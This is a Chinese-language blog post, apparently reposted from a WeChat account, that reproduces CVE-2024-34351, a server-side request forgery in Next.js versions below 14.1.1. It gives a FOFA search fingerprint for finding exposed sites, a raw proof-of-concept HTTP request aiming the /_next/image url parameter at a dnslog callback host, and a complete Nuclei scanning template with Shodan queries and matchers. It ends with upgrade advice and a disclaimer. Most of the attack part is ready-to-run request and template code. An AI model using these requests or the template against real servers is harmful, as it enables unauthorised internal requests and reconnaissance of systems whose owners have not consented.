Next.js < 14.1.1版本
Next.js是一个基于React的框架,专门为服务器端渲染(SSR)或静态站点生成(SSG)优化。它在其官网介绍中,主要突出就是相较于React做了许多的优化,为全栈开发打造。该软件低于14.1.1的版本中存在SSRF漏洞。
body="/_next/static"
借助http://dnslog.pw/dns/复现
POC数据包如下
GET /_next/image?w=16&q=10&url=http://tvq938xd.dnslog.pw HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
漏洞复现成功
poc文件内容如下
id: CVE-2024-34351
info:
name: Next.js - Server Side Request Forgery (SSRF)
author: righettod
severity: high
description: |
Next.Js, inferior to version 14.1.1, have its image optimization built-in component prone to SSRF.
remediation: Upgrade to Next.js version 14.1.1 or higher.
reference:
- https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps
- https://nvd.nist.gov/vuln/detail/CVE-2024-34351
- https://github.com/vercel/next.js/security/advisories/GHSA-fr5h-rqp8-mj6g
- https://github.com/vercel/next.js/commit/8f7a6ca7d21a97bc9f7a1bbe10427b5ad74b9085
- https://github.com/vercel/next.js/pull/62561
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-34351
cwe-id: CWE-918
epss-score: 0.00062
epss-percentile: 0.26843
metadata:
max-request: 2
product: next.js
shodan-query:
- http.html:"/_next/static"
- cpe:"cpe:2.3:a:zeit:next.js"
fofa-query: body="/_next/static"
tags: cve,cve2024,vercel,nextjs,ssrf
http:
- method: GET
path:
- '{{BaseURL}}/_next/image?w=16&q=10&url=http://{{interactsh-url}}'
- '{{BaseURL}}/_next/image?w=16&q=10&url=https://{{interactsh-url}}'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- 'http'
- type: word
part: body
words:
- "The requested resource isn't a valid image"
升级到最新版本。
原文始发于微信公众号(AI与网安):CVE-2024-34351 漏洞复现 poc (超大规模)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论